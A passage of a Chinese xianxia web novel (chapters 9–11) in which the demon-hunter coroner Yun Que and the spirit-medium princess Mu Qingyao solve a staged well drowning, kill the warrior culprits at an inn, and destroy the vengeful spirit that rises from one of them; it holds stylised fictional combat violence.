牛不才别看大字不识一个,但他会察言观色,发现县令大人的脸色难看,就知道坏事了,急忙补救道: “云缺啊,你再好好看看,是不是有妖邪作祟,害死了员外家的千金?” 说这话的时候,牛不才隐晦的比量出一根手指,代表着一两银子。 “不会错,就是凶杀案。”云缺道。 “再仔细看看,我瞧着像自尽的样子。”牛不才说着比量出三根手指。 云缺自然看得出对方的小动作,呵呵一笑,道: “牛大人不必费心了,一码归一码,你加上脚趾头,这案子也是凶杀案,有人在昨夜行凶杀人,现在正逍遥法外。” 牛不才怔在原地,说不出话来。 向来贪钱的小仵作,今天居然对银子不感兴趣了。 牛不才自以为了解云缺,殊不知云缺有自己的底线。 贪钱归贪钱,但有些事,就算给他座金山银山他也不屑多看一眼。 牧青瑶安静的旁观着一切。 马庸的脸色变得愈发难看,瞪了牛不才一眼。 牛不才无奈之下,只好反驳道: “既然非得定成凶杀案,那云缺你来说说,证据在何处!凶手连影子都没有,你凭什么判断是凶杀!” 云缺笑了笑,道:“想要证明很简单,有请主簿大人坐在井边,我来给你证据。” 牛不才不明所以,为何非得坐井口? 井里刚死了人,牛不才可不想坐过去,但县令的一个眼神,他只能无奈的坐到井口。 “从现在开始,我说的都是假设,牛大人要用点心,你就当做是真事。” 云缺说了句奇怪的话。 牛不才满口答应,在井边坐好。 “你爹死了。”云缺道。 “啊?没有哇,今儿早上还出门遛弯儿来着。”牛不才挠头道。 “假设,牛大人,你应当表现出该有的悲伤。”云缺道。 马庸斥责道:“就当你爹死了!你该什么样就什么样。” 牛不才连连说好,皱起眉头唉声叹气,表现出父亲过世的悲伤情绪。 “你娘死了。”云缺道。 牛不才想了一下,从皱眉头变成了一脸悲容,他现在有点入戏了。 “你夫人也死了。”云缺道。 牛不才的悲容瞬间变成笑容,不自觉的笑出声来,随后看到周围人全看着他,立刻又转为愁眉苦脸。 “你儿子死了。”云缺道。 牛不才愣了下之后,沉默不语,看得出变得更加难过。 “好消息是,不是你亲生的。”云缺道。 牛不才的沉默瞬间转变为愤怒,挤眉瞪眼。 “你家所有亲戚都死绝了,只剩你一个人,你得了不治之症只有一天能活,天黑就会死。”云缺道。 牛不才嘬着牙花子道:“这么惨?我怎么觉得你在咒我呢?” “天黑前,你会做什么。”云缺问道。 “最后一天可活,我肯定得吃点好的,玩点好的,跟熟人告个别,然后躺床上等死呗。”牛不才皱着眉道。 “想不想跳井。”云缺道。 “不想!我宁可死家里,我也不死井里!”牛不才把脑袋摇成了拨浪鼓。 云缺笑了笑,道:“牛大人满门灭绝,又身患绝症,这么惨了你都不想投井,陈员外家的闺女衣食无忧生活惬意,她为什么偏偏去投井呢。” “她……可能一时想不开吧。”牛不才心虚的道。 “说得没错,的确有这个可能。” 云缺指着井口道:“既然想不开,她怎么不在井边仔细想想,牛大人如果想不开要跳井的话,你会坐在井边重新想一想呢,还是从家里跑出来一头扎进去?” 云缺说完,旁边的人全都沉默了下来。 陈员外所言,当晚他女儿好端端的,从家突然跑出去就投了井。 除非受到极大的打击才有可能出现这种情况。 但投井的女人,明显没有情绪上的打击。 云缺的声音幽幽响起: “跳井自杀,首先要跳进去,投河和投井不同,井口狭窄,即便自尽,也没人会选择脑袋先下井。” 尸体既然从脚捞上来的,证明是大头朝下入的井。 无需线索,单单这种死法儿就透着古怪。 所以云缺才断定是凶案。 昨晚有人将陈员外的女儿从家中掠出,大头朝下塞进了井里! 断定了凶案,可惜没有丝毫线索。 县令马庸急出一身冷汗,追问陈员外可有凶手的蛛丝马迹,结果对方毫无察觉,根本没看到有人劫走了女儿。 “这下麻烦了……武大川!你是捕头,本官限你十日之内找出凶手!” 马庸将怒火撒在捕头身上。 武大川脸色一垮,只好唯唯诺诺的领命。 无头悬案,连点线索都没有,去哪找凶手啊。 水井旁,乱哄哄。 县令,主簿,捕头,衙役,苦主,一群人七嘴八舌议论不休。 牧青瑶的目光始终落在云缺身上。 小郡主觉得奇怪。 云缺原本已经验过尸了,此刻却一个人蹲在尸体旁,好像在嘀咕着什么。 由于周围的声音嘈杂,牧青瑶听不到云缺在说些什么。 但她能看到云缺眼里那一抹罕见的冷冽。 “世道够乱了,妖来乱世,人也来乱世。” 云缺伸手合上尸体的眼睛,望着浮肿的尸体嘀咕着: “她没来之前,你洗澡最好看,可惜以后看不到了,哎,又少了一个爱好。” 将黑布重新盖好,云缺缓缓起身,单手握住了刀。 清秀的脸庞好似铺上一层寒霜。 云缺道:“想不想破了这个案子。” 牧青瑶:“杀人偿命欠债还钱,晋国,是有王法的,我相信善恶有报,不过孩童中邪,女人投井,这些诡事的背后是有人故意煽动百姓烧死我,若找出凶手,就要直面幕后之人,你或许会有危险。” 云缺道:“想要你命的大人物不会在这种小地方出面,藏在镇上的家伙充其量是喽啰,最大的危险是距离皇城最近的地方,二百两银子,还没到让我卖命的地步。” 牧青瑶:“虽然是喽啰,但此人十分阴险,怕是不好对付,你大可送我离开藏石镇,为何冒险找出对方?” 云缺道:“人呐,可以苟且偷生,可以混吃等死,但必须活一个念头通达,不宰了凶手,我不爽。” 牧青瑶:“念头通达……你认得死者?” 云缺道:“收养我的老猎人第二年就死了,有时候没吃的我就来镇上找,陈员外最有钱也最小气,多说给半碗粥,还是没几粒米的那种汤水,他女儿每次都会偷偷塞给我两个馒头,白白的,跟秀儿姐身上的一样。” 云缺在笑,可眸子里的杀意几乎要溢出眼眶! “所以嘛,我要教那凶手认个字。”云缺道。 “什么字?”牧青瑶道。 “教他死字怎么写!”云缺声如冰寒。 第9章 你就是凶手 云缺说得好似玩笑,但牧青瑶从对方的目光中看出了浓浓的杀意。 几天相处下来,牧青瑶从未见过云缺如此神态。 哪怕面对萍山君那种强大的妖物,云缺依然是懒散的模样。 但今天,云缺不同以往。 牧青瑶能感受到云缺心里的愤怒。 牧青瑶走到井口,朝下看去。 她动用了自己的天赋力量,很快寻找到水底的一条幽魂,并将其成功带出水井。 幽魂出现后,水井旁边的众人感受到一股冷意。 马庸下意识的紧了紧外套。 陈员外止住了哭声,牛不才打了个哆嗦,武大川皱起眉好似察觉到一丝危险。 牧青瑶朝云缺点了点头,示意死者的幽魂出现,可以去寻找凶手。 云缺对县令道: “杀人凶手没准就是祸乱县衙的家伙,害得大人掉茅坑的罪魁祸首,现在有些线索,还望大人调派人手随我追查个清楚。” 马庸闻言立刻将两件案子联系在一起,顿时火冒三丈,吩咐下去把县衙里的三班衙役全调了过来,加上镇上驻守的军兵,总共上百号人马。 云缺说有线索,马庸是信的。 毕竟仵作,只是云缺的一份零工罢了,人家的主业是猎妖的! 一道女人轮廓的幽魂,飘荡在街头。 时而茫然四顾,时而缓缓前行,速度不快。 牧青瑶以自身的天赋,沟通着亡者之魂,借其残存的一丝灵智,寻找着凶手的下落。 云缺走在牧青瑶旁边,县衙里的众人离着两人一大段距离,都不太敢靠近。 云缺只说有凶手的线索,可没说凶手是人是妖。 幽魂飘飘荡荡,最终来到镇上唯一的一间客栈。 萧家老店。 这座客栈不大,是一处小院,总共十几个房间。 “就这了。” 云缺打量一番客栈,抬脚迈了进去。 武大川紧随其后,一进门就抓住店家,询问近期住店的人,得知只有三个客人,几天前到的藏石镇,还是一起的。 听闻只有三个人,武大川稳了稳心神,命人将客栈包围,随后让店家将住店的客人叫出来。 武大川是有修为的。 他是九品武者,别看境界很低,在藏石镇这种小地方足以担任捕头。 不大会儿,住店的三个人走出客栈,站定在小院里。 为首的是个光头汉子,个子很高,其余两人模样普通,打扮得如寻常百姓一样,扔进人堆里找不出来的那种。 “官爷有何事,我们可是守法的良民,初来贵宝地做些小买卖。”光头汉子客气的说道。 “昨天夜里,你们去了何处。”武大川沉声质问。 “哪也没去啊,就在客栈睡觉来着,店家能证明我们从未出去。”光头汉子道。 “明天还得赶路,谁有空在晚上出门瞎逛。” “就是,咱们做小买卖的起早贪黑,不容易啊。” 另外两人抱怨起来。 武大川仔细看了看三人,除了那光头瞧着有些特殊,另外两人实在看不出有什么可疑之处。 叫来店家,武大川问道: “他们几个,昨晚是不是一直在客栈,说不清楚的话,跟我回衙门仔细想想!” 店家是个小老头,早被一群衙役吓得魂不附体,连忙道: “一直在!我没看见他们出去。” 武大川犯了难。 有店家作证,人家晚上根本没出去,相当于没有嫌疑。 正纠结的时候,武大川看到云缺突然踹出一脚,直奔左侧的住店之人。 对方带着小帽,挑夫打扮,个子不高身形瘦弱,与镇上的小贩类似。 武大川深知云缺的战力。 这一脚下去,踹正的话,普通人都能直接给踹死! 武大川正惊讶着云缺为何突然出手,只见带着小帽的住店之人快速抬腿格挡,用膝盖挡下了云缺的一脚。 此人被踢得后退了十几步,稳稳站定。 不过神色却变得难看起来,脸上现出懊恼。 云缺呵呵一笑,道: “九品武者当挑夫,你们做的买卖不小啊。” 刚才那一脚,云缺用出了九品程度的力道,正常人是挡不住的。 武大川闻言挑起大拇指。 高! 比起追查盘问抽丝剥茧,人家一脚就能踢出对方的真正身份。 武大川喝道:“九品武者假冒挑夫,你们意图不轨!拿下他们!” 武大川有着九品武者的修为,加上周围上百名官兵衙役,即便面对三名九品武夫他也不惧,更何况还有个战力骇人的云缺在场。 最低等的九品武者,虽然武力不俗,一个打十个二十个易如反掌。 可人若是多了,上百名训练有素的官兵围攻之下,一个九品武者也有被杀掉的危险。 九品炼体,主要打熬体魄,淬炼气血,体力远超常人,修的是外劲法门,被誉为以一敌百。 但体力再强也有尽头。 只要九品武者耗尽体能,便与虚弱的常人无异了。 除非能达到八品的炼骨境,一身铜皮铁骨,能在数百人的围攻下大杀四方,万军之中取敌将首级。 面对围拢而来的官兵,为首的光头汉子安稳如常,笑道: “慢着!在下有晋国发放的经商牙牌,我可是正经八百的生意人,雇佣两个武者,不算什么吧。” 光头汉子说罢取出一个象牙雕刻的牌子,外围镶金,一看就是贵重之物。 武大川立刻犹豫起来,回头请示县令马庸。 马庸的脸色也变得有点难看。 这种牌子他认得,那是身家巨富的大商贾才能得到的东西,相当于晋国的通行令! 各处州府衙门,只要人家一亮这种牌子,县令也得客客气气。 牛不才在旁边直吸凉气。 他家就是做生意的,上下几代人也没混到一个经商牙牌,早就觊觎多年,今天看到真的哪能不羡慕。 马庸沉吟了一下,道: “既然有牙牌在身,阁下应该没什么嫌疑了,走,我们去别处查查。” 经商牙牌,代表的可不仅是财富,还有广泛的人脉。 没准牵连着朝廷里的某位重臣。 拥有牙牌的商贾,即便杀个人,也足以用钱来摆平一切。 与其得罪一个豪富商贾,县令马庸宁可留一庄悬案。 悬案多说影响考绩,往大了说乌纱不保。 可得罪一个拥有牙牌的大商贾,有可能人头不保! 马庸当机立断,打算走人。 “等等。” 云缺的声音,打断了县令的脚步。 “生意人雇佣武者,的确不算什么,但你杀了人,就该偿命。” 云缺盯着对面的光头汉子,笃定道。 “这位小兄弟,你在何处看到我杀了人?凡事都要讲个证据,你平白无故血口喷人,我可以去县衙告你。”光头汉子笑道。 反咬一口! 云缺冷静道:“我没看到你杀人,不过我有你杀人的证据,她能作证。” 说罢一指牧青瑶。 马庸牛不才武大川几人纷纷诧异起来。 都知道云缺这两天带着个小姑娘,除了模样秀美之外,看不出有何特殊之处。 光头汉子:“是么,那你让她证明给我看。” 云缺看了眼牧青瑶。 牧青瑶微微点头,朝着旁边的空气问了句: “杀害你的凶手,可是此人。” 客栈门口一时间变得寂静下来。 一众衙役觉得后脊梁有些发冷。 在这些凡人眼里,牧青瑶对着空气说话,显得诡异古怪。 县令马庸和主簿牛不才互相看了眼,都觉得莫名其妙,认为云缺带着的小姑娘脑子有点问题。 “不用怕,你指认即可,我给你做主。”牧青瑶的声音很轻,却十分凝重。 很快,牧青瑶得到幽魂的确认。 她抬起葱白的手指,点向光头壮汉道: “死者之魂已经确认,她是被你所害。” 此言一出,周围众人觉得有点毛骨悚然。 见鬼,不算稀奇。 毕竟世上妖邪繁多,时而有鬼物出没。 能与鬼物沟通的,在场众人可闻所未闻! 光头汉子听罢直接大笑起来: “哈哈哈!鬼话你也信,堂堂大晋何时多出这种规矩,连鬼都能作证了。” 壮汉旁边的两名武者发出阴阳怪气的笑声,对牧青瑶的指认不屑一顾。 马庸觉得丢脸,道: “行了!都别在这闹了,都回去!” 牛不才急忙拦住牧青瑶,打算让云缺带着这个脑子有问题的小姑娘赶紧走。 “大晋确实没有这种规矩,但我例外。” 牧青瑶取出一块紫金打造的特殊腰牌,昂首道:“我是阜南王次女,灵芸郡主,天生有通灵之力,陛下御赐阴阳令,授我特权,可断阴案。” 阴阳令一出,马庸牛不才武大川几人眼珠子直接瞪了起来,愣怔半晌后齐齐下跪,口称郡主大人。 晋国有不少王侯,公主郡主更数不胜数。 绝大部分公主郡主的封号,普通百姓都不知道,也没听过。 唯独灵芸郡主,几乎无人不知! 灵芸郡主是皇族中的一个特例,从出生便被皇帝重视,封号灵芸,意为芸芸众生中的钟灵毓秀。 灵芸郡主的事迹经常被戏子传唱,甚至有说书人根据灵芸郡主的经历改编了一部灵芸传,听过的百姓无不着迷。 或许灵芸郡主的其他事迹,藏石镇的这些人不太清楚。 有一件事,就算大字不识一个的牛不才都知道。 晋国现存的三座伏妖大阵当中,其中一座大阵最为关键的材料灵花,就是灵芸郡主找到的! 尽管称不上普度众生,但灵芸郡主在大晋百姓中的威望之高,罕有人能及。 牧青瑶穿着云缺的普通布衣,气质在此刻却显得高贵圣洁。 葱白的手指纹丝不动,指着光头壮汉道: “我以灵芸之名断此凶案,死者阴魂为证,你!就是凶手。” 第10章 杀妖的刀 阴魂为证。 平日里听起来极为可笑的一句话。 然而出自牧青瑶之口,就成了铁证如山! 灵芸郡主有着皇帝御赐的阴阳令,可断阴案。 换句话说,牧青瑶有着以阴魂为证的特权,而且还是皇帝亲自下发的特权! 但凡涉及阴魂灵体的悬案,牧青瑶找到的证据都是铁证。 即便她胡乱指证,马庸牛不才等人也得信。 不信,就是质疑皇帝! 唰!唰!唰! 衙役官兵们齐刷刷抽出刀剑,围住三人。 云缺寒声道: “把杀人越货的勾当说成买卖,你挺会颠倒黑白的,现在还有何话可说。” 光头汉子道: “无话可说,既然遇到灵芸郡主,我们杀没杀人都无法反驳,只能认倒霉,你们公事公办即可,抓我们回去就是。” 光头汉子说得有恃无恐。 他身边的两名武者也毫不在乎,仿佛被押去县衙大牢只是换了个客栈而已。 云缺缓缓举起刀,道:“既然证据确凿,该当就地正法!” 嗡! 重物划过空气的响动突然出现。 一身黑衣的云缺一步跃出,抡起刀鞘直奔光头汉子。 从静到动,瞬间转变。 冲出的同时,脚下竟炸起一道风旋! 别看是刀鞘,但这一击的力道之大,看得武大川倒吸冷气。 以他九品武者的身手,绝对挡不住! 难怪人家敢猎妖,单看这份爆发力就无比惊人! 武大川在震撼之余,认为对面的光头汉子肯定被一击打倒。 结果出乎意料。 云缺砸出的剑鞘,被那光头汉子给挡了下来! 挡住剑鞘的,是一根沉重的镔铁棍。 光头汉子的武器十分普通,但镔铁棍的重量极其惊人,与剑鞘对轰之后,两人齐齐被震开一段距离。 光头汉子将镔铁棍戳在地面,发出轰隆一声闷响。 地面立刻被砸出一个水盆大的坑洼。 武大川瞬间估算出镔铁棍的重量,惊呼道: “五百斤往上!他是八品炼骨境!” 这种份量的武器,九品炼体武者拿得动,也抗得动,提着跑也没问题,但是当做武器绝无可能。 五百斤以上的武器,唯有炼骨境的八品武者才能做到随手施展。 光头汉子冷哼道: “久闻知远县有位猎妖人,实力超群,今日得见果然不凡,不过,猎妖人就该猎杀妖物才对,人间的事,最好少管,否则容易小命不保。” “我在猎妖啊。”云缺晃了晃手腕,道:“你不就是妖么,披着一身人皮而已。” “哈哈哈!若能成妖简直荣幸至极!今天我就来会一会你这位猎妖人!” 光头汉子暴喝一声,数百斤重的镔铁棍舞动得霍霍生风,在身前形成一片棍影。 这架势,吓得一众衙役官兵纷纷后退。 都不用打,只要挨上点边儿就得骨断筋折! 武大川一咬牙,抽出长刀喝道: “光头的交给云兄弟了,其他人随我捉住另外两个贼人!” 一场恶战既然无法避免,武大川也就豁出去了。 他独斗一名九品武者,剩下的衙役官兵围攻另一名九品。 两处战团都在院子两侧,将正中间的区域留给了云缺与光头汉子。 马庸牛不才早早退出了客栈,提心吊胆的等在大门口。 牧青瑶很有分寸,看到云缺出手,她立刻退后,与县令等人站在远处。 马庸不敢怠慢,吩咐仅剩的几名护卫保护好郡主。 要是郡主出点事儿,他这位县令人头不保。 空地中心。 云缺第二次掠出,速度更快,犹如一道残影般突破了铁棍的防御。 刀鞘横扫,直奔光头汉子的咽喉。 光头汉子略微吃惊,没料到对方的速度还能更快。 他仍旧镇定,脚下发力,将地面踩出一个深深的脚印,身形往后急退,同时镔铁棍调转而回,扫向云缺的后脑。 这一招叫做破釜沉舟。 比的是谁能更快攻击到对手。 若云缺的剑鞘先到,光头汉子的脖子肯定被砸断。 如果镔铁棍先到,那么云缺的脑袋也得开花。 剑鞘与镔铁棍的速度几乎一致,两人一攻一退,生死相搏。 光头汉子脚下连点,飞快的退进客栈大门,云缺紧随而至。 客栈里比较昏暗。 刚进大门,光头汉子的嘴角立刻狞笑起来。 他身体突然转动,脚下犹如陀螺般硬生生横移出三尺,堪堪避开剑鞘,同时回击的镔铁棍速度暴增倍许,砸向云缺的后脑! 利用客栈里突然昏暗的光线,光头汉子动用了最强实力,毫不保留,想要一击灭杀掉云缺。 他头脑很好,算计得恰到好处。 刚才回扫的镔铁棍也根本没用出全力,就等着一招分胜负。 武者恶战,谁稍有疏忽,便是命丧当场的结局。 光头汉子虽然算计得挺好,但云缺的反应更快。 在刀鞘击空的瞬间,云缺一偏头,脑后的镔铁棍挂着风声砸空。 原本这一偏头的距离,并不足以避开镔铁棍,是那光头汉子自身横移了三尺之后,镔铁棍的攻击范围也随之缩短了三尺。 冷冰冰的镔铁棍从云缺脸睱旁划过,棍风带起了云缺的几根发丝。 甚至都没回头看一眼,云缺就精准的计算出镔铁棍的杀伤距离。 这番精确到毫厘的躲闪,连光头汉子也不得不佩服几分。 “还没完!” 光头汉子脚下不等站稳,手中一捏。 咯吱一声怪响,镔铁棍的顶端竟炸起一股寒芒! 一个锋利的枪刃,从镔铁棍顶端弹出! 光头汉子的武器外表是镔铁棍,实则竟是一把长枪。 突然出现的枪尖,正好在云缺的侧脸,那寒芒直奔云缺的太阳穴。 一旦扎中,云缺的脑袋就得被穿个通透! 无人得见的惊险瞬间,云缺手里的刀鞘动了。 锵! 长刀出鞘三寸! 枪尖正好砸在了长刀侧面,发出一声金铁交鸣的脆响。 云缺飘然落地,稳稳站在客栈之内。 瞬间的交锋,其内蕴含的危机令人惊叹。 “好身手,不愧为猎妖之人!” 光头汉子双手握在镔铁棍中间,用力一拧,将铁棍分为两截,上下两端都有枪尖,枪尖下方还有一个倒钩形状的副刃。 镔铁钩镰枪! 还是两把! “我这两把武器,耗费近千斤镔铁打造,可硬撼法器,而你只有一把刀。”光头壮汉冷声道。 “一把刀,宰你足够。” 云缺语气淡淡的道,神色平静,好像提不起兴趣似的。 光头汉子看出了对方的不屑,勃然大怒,低吼着全力出手。 两把钩镰枪,每一把都有三四百斤重,舞动如飞,风声霍霍。 光头汉子的攻势极为惊人,犹如人形妖兽一般。 巨大的力道之下,客栈里的桌椅触之皆碎,转眼屋子里的所有桌椅全都变成了碎木头。 云缺一边躲避,一边缓缓抽出长刀。 当长刀完全出鞘的那一刻,昏暗的客栈里闪过一层血色! 光头汉子没来由的心头发沉。 不知为何,没有拿刀的云缺,给他一种势均力敌的感觉,可一旦云缺握住了那把黑刀,光头汉子有一种面对天敌的错觉! 八品武者的气血之力被光头汉子尽数爆发开来。 他嘶吼着一跃而起,以泰山压低之势砸下钩镰枪。 云缺没动,静静的站在原地。 嘴角噙着一抹淡淡的冷笑。 嗡!!! 当光头汉子力大势沉的双枪即将砸落之际,云缺从下至上斩出了一刀。 这一刀,斩出一条殷红的血影! 如恶龙腾空! 咔嚓!!! 数百斤的两把钩镰枪,应声而断。 云缺只用了一刀,便将对手与那两把钩镰枪一并斩开! 光头汉子被拦腰斩断! 噗通! 光头汉子的两截身体同时落地,血洒了一片。 客栈的地面很快被染红。 剩下半个身体的光头汉子一时没死,瞪着满是血丝的眼睛,不可置信的吼道: “一刀……一刀斩同阶!这不可能!” 光头汉子在交手之际,就确认云缺也是八品武者,与他同阶。 同阶武者,对战起来极为麻烦,往往大战半天也难分胜负,最后只能比谁的气力更持久。 同为八品的武者,战力几乎相差不多,即便有区别,也很难做到快速胜出或者落败。 然而云缺只出了一刀而已。 就将同为八品的武者斩杀当场! 尤其让光头汉子惊恐的是,他那两把钩镰枪连法器都未必能斩得断,怎么会被一刀切开! “你、你拿的到底是什么刀!”光头汉子挣扎着大吼道。 “杀妖的刀,砍人也行。” 云缺目光冷漠的走到对方近前,抓起光头汉子的手,沾着地面上的鲜血开始写字。 “认得吗。”云缺指了指脚下的血字。 “死……”光头汉子念出了字迹。 “念对了,你该死。” 云缺说完,一刀捅进了对方的心窝。 光头汉子这下彻底活不成了,大口喷血,临死前,他居然诡异的狂笑起来。 “哈哈哈!我死……你也别想活!杀了我,只会让我变得更强!” 光头汉子说完这句话,眼皮一翻,就此断气。 “死了还能变强,有点意思。” 云缺说着又给对方补了十来刀,道:“来呀,变给我看。” 等了一会儿,对方果然有所变化。 尸体没动,倒是那颗光头上浮现出一道道暗淡的纹路。 昏暗的客栈内,温度开始一点点变冷。 第11章 八品穷鬼 客栈院子内,武大川拼尽全力与对手战了个不相上下。 两人都是九品武者,气力与速度相仿,用的武器也一样,一时间谁也奈何不了谁。 另一边被一群衙役官兵围攻的九品武者则显得威猛得多,一把宽刃刀挂着风声,一刀下去即可砍翻一名衙役。 不多时就有十几人被砍翻在地。 死伤的同伴,令其他衙役愈发惊惧,围攻的气势荡然无存,开始畏首畏尾。 群殴,讲究的就是个气势。 一鼓作气围杀对方,上百官兵衙役若能悍不畏死的冲锋,九品武者也会被拖死。 但这些衙役官兵毕竟不是军兵,平日里也没多少训练,抓些地痞蟊贼没问题,遇到凶悍的九品武者立刻落在下风。 被围攻的武者眼露杀意,越过人群盯住了小郡主。 “擒贼擒王!” 他虚晃一刀吓退冲上来的衙役,就要冲出人群击杀牧青瑶。 只是刚迈出两步,后心就被一把黑剑贯穿! 噗! 一道血线崩起多高! “想去哪儿啊,我还没教你写字呢。” 冷冰冰的声音从此人身后传来。 云缺转到对方面前,抓起此人的手指仍旧沾着鲜血写下了一个字。 “死……” 嘴角溢血的九品武者挣扎着念出眼前的血色大字。 咔嚓!!! 云缺手起刀落,对方人头落地! 这番痛快的斩杀,看得一群衙役大呼叫好,只觉得甚是解恨。 马庸和牛不才看得一哆嗦。 都知道云缺杀妖厉害,没想到杀人也这么厉害。 两人伏诛,剩下戴小帽的武者立刻心神大乱,武大川趁机一个鞭腿将对方踢翻,长刀顺势架在了对方脖子上。 生擒! 一众衙役冲过去,将小帽武者五花大绑。 大局已定,县令马庸立刻抖擞精神,重新进院,做出一副威严不屈状,好像刚才他在大杀四方似的,打算在郡主面前邀功。 不用多,只要灵芸郡主今后在皇帝面前提那么一嘴,他这个小小县令就能平步青云。 “大胆狂徒!胆敢在藏石镇杀人,简直罪大恶极!” 马庸点指着被擒住的武者道:“来人!把他押进大牢严刑拷问!” 武大川领命,就要带人走。 牛不才低声道: “大人还是就地拷问为好,押进大牢容易夜长梦多,他们那块牙牌,来头可不小。” 马庸迟疑了一下。 牙牌,代表着这伙人背后有一股势力,没准有办法捞人。 马庸想要在郡主面前表现一番,尽快破案,稍微衡量便决定立刻审讯。 “来呀!棍刑伺候,打到他说实话为止!”马庸吩咐道。 县衙里的三班衙役都在,刚才一场恶战死了不少人,而且死的都是同僚,正没地方撒气呢,立刻冲上去十几人,就要开打。 戴着小帽的武者满脸是血,神态狰狞的吼道: “不用费力气了,想知道什么尽管问!” 马庸大喜,故作威严道:“你等究竟是何人,来我藏石镇杀害百姓有何目的!” 小帽武者狞笑道:“我是你爷爷!天生喜欢杀人!哈哈哈!” 马庸大怒,喝令道: “胆敢辱骂本官!给我打!” 武大川气沉丹田一声低吼,一棍子将对方的腿给打断。 他是九品武者,深知先废掉敌人的手脚才能限制住对方。 其他衙役们也下了死手。 棍子如雨点般落下,小帽武者很快被打得皮开肉绽,奄奄一息。 九品炼体武者,体质的确惊人,但筋骨没有强化,并不耐打,除非八品炼骨境的武者,才能在棍棒下安然若泰。 小帽武者即将被活活打死之际,他忽然狰狞的吼道: “红烛不灭!莲台永存!” 小帽武者突然喷出一大口鲜血,竟自毁了丹田,内息逆转直冲心脉,加之身上的重伤,顷刻间咽了气。 自尽而亡! 对于此人临死前喊出的奇怪口号,在场的人们莫名其妙,都没听过,不知何意。 “凶手尽数毙命,公道自在人间!” 马庸先豪气了一句,随后连忙道:“郡主受惊了,还请郡主到衙门小歇片刻。” 牧青瑶缓缓摇头,目光始终盯着刚刚咽气的小帽武者,眼神里带着一种奇怪的忧色。 马庸顺着小郡主的目光看去,随后浑身一哆嗦。 灵芸郡主是能看到鬼物的! 院子里没人吭声。 人们都跟随着牧青瑶的目光,缓缓挪移,最后齐齐望向客栈大门。 “有危险,离开这里!” 牧青瑶忽然凝重的说出一句。 马庸虽然看不到危险的来源,但他相信小郡主的预警,二话不说扭头逃出院子。 牛不才的速度更快,踩着县令的小脚第一个冲出去的。 武大川与一众衙役官兵纷纷后退,惊疑不定的盯着客栈大门。 唯独云缺站在原地一动没动。 昏暗的客栈里,刮起了冷风。 呼呼的风声犹如恶鬼哭嚎,听得人们头皮发麻。 牧青瑶来到云缺身旁,低声道: “我能感受到很强的怨念在汇聚,有可怕的东西正在形成,刚才院子里的武者魂魄被这股怨念吸进了客栈。” “是么,瞧瞧去。” 云缺迈动脚步,重新走进客栈。 他这番举动,看得后面的众人无不折服。 武大川更佩服得都要五体投地。 云哥儿就是云哥儿,不仅战力惊人,胆子更惊人。 这种鬼屋般的可怕之地,人家就像串门儿似的毫不在乎! 客栈里,光头汉子的尸体已经诡异的干瘪了下去,只剩下皮包骨,浑身血肉仿佛被某种力量抽干。 那颗光头则膨胀了一倍上下,头皮上遍布着蚯蚓般的灰色纹路,密密麻麻,触目惊心。 “这是封魂咒!” 牧青瑶一眼看出真相,惊诧道:“封魂咒用来封印魂魄,此人将大量阴魂封在了头皮上,看数量不会少于一百条,应该都是被他所杀之人的神魂。” “养这么多幽魂在脑袋上,不怕撑死。”云缺不以为意的道。 牧青瑶急急道:“他的主魂正在融合这些阴魂,即将生成恶灵!恶灵比八品武者还要危险!” 话音刚落,光头的顶端浮现出一个个大小不一的阴影。 这些阴影只有牧青瑶能看到,那是一个个模样不同的人类生魂! 上百条生魂扭曲着互相融合,形成了一团庞然大物,八手三头,形如恶鬼! 正中间的,是一颗硕大的光头,青面獠牙,狰狞恐怖。 当阴魂融合成的怪物出现之际,昏暗的客栈里变得漆黑如夜,阴风呼啸,鬼气森森! 牧青瑶仗着自身的通灵之体,能抵挡住如此可怕的鬼气,换成县令那种普通人,轻则神智受损,重则神魂俱灭。 恶灵已成! 牧青瑶一张俏脸变得苍白如纸。 这种程度的恶灵,比起山上的三眼妖狼还要可怕,普通人无法抵挡不说,即便武大川那等九品武者也无法匹敌。 八品武者遇上,也得退避三舍! 除非达到七品炼神武者,神魂极为强大,才能与强大的恶灵抗衡。 “难怪这家伙说死了会更强,原来会尸变。” 云缺呵呵一笑,让牧青瑶去外面等着。 牧青瑶惊疑不定的离开客栈后,云缺站在门口,面朝着院门外的一众衙役官兵,微笑着缓缓关上了大门。 嘎吱。 门扉合拢的声音,听得马庸牛不才等人通体生寒。 武大川下意识的咽了口吐沫。 这叫什么? 这叫艺高人胆大! 明知屋子里有恐怖的恶鬼,还把自己关在里面,武大川有种给云缺磕一个的强烈念头。 单凭这胆量,无人不服! 牧青瑶始终有些担心,紧紧的捏着小手儿,替云缺捏了一把汗。 她对灵体的感知极其敏锐。 深知客栈里形成的恶灵有多可怕。 那是一种能灭杀九品乃至八品修士的厉鬼! 一旦被附身,活人的神魂将顷刻覆灭,成为一具行尸走肉。 恶灵的强大,牧青瑶深有感触,她亲眼见过恶灵肆虐的恐怖景象,堪称炼狱! 小小的客栈,散发出一种令人战栗的阴冷气息。 客栈周围的气温骤然降低,如凛冬来临。 外面的众人下意识的开始后退,连武大川这种炼体境的九品武者也扛不住如此寒气。 当人们胆战心惊的后退之际,一片刺眼的光影,将客栈窗户染成了血色! 血光炸起的那一刻,外面的人们无不闭目遮眼。 牧青瑶也下意识的闭上眼用手遮住眼皮,随后她想起了云缺曾经说过的一句话。 ‘在足够多的煞气面前,鬼物,就是个笑话!’ 刹那间,牧青瑶猜出了客栈里的刺眼血光是什么了。 那不是刀光,也不是恶灵,而是煞气! 冲天的煞气! 血光一闪而逝,客栈里安静下来,没了动静。 之前笼罩了整个小院的寒气也随之消失不见。 没人敢妄动。 武大川等衙役谨慎的抓着刀剑,如临大敌。 等了一会儿,不见云缺出来,牧青瑶第一个推开客栈大门。 客栈里, 云缺正蹲在光头汉子干瘪的尸体旁,翻找着什么,嘴里还嘀嘀咕咕。 “验了好几年的尸,可算抡到我第一手了,什么八品武夫,穷鬼……” 翻找了半晌,值钱的宝贝没有,只找出二百两银票。 其实这一点云缺早有预料。 毕竟武夫除了被其他修行体系鄙夷之外,还会被人家在武夫俩字前面加上不少负面词缀。 莽,憨,笨,傻那是最普遍的,还有更难听的穷、贱、臭等等。 而穷,其实是武者最真实的写照。 武夫大多都很穷。 一把趁手的武器,加上银两,就是全部身家。 但凡找到些丹药灵材之类的好东西,武者会第一时间使用来增强本体。 毕竟本体越强,实力才会越强,基本不存在兜里留着好东西不用的情况。 云缺也是一样。 这些年猎妖换的钱,全换成了打熬气血的材料,兜里比脸都干净。 没找到好东西,云缺便顺走了断裂的钩镰枪。 这玩意听说耗费大量镔铁,即便断了应该也能卖不少钱。 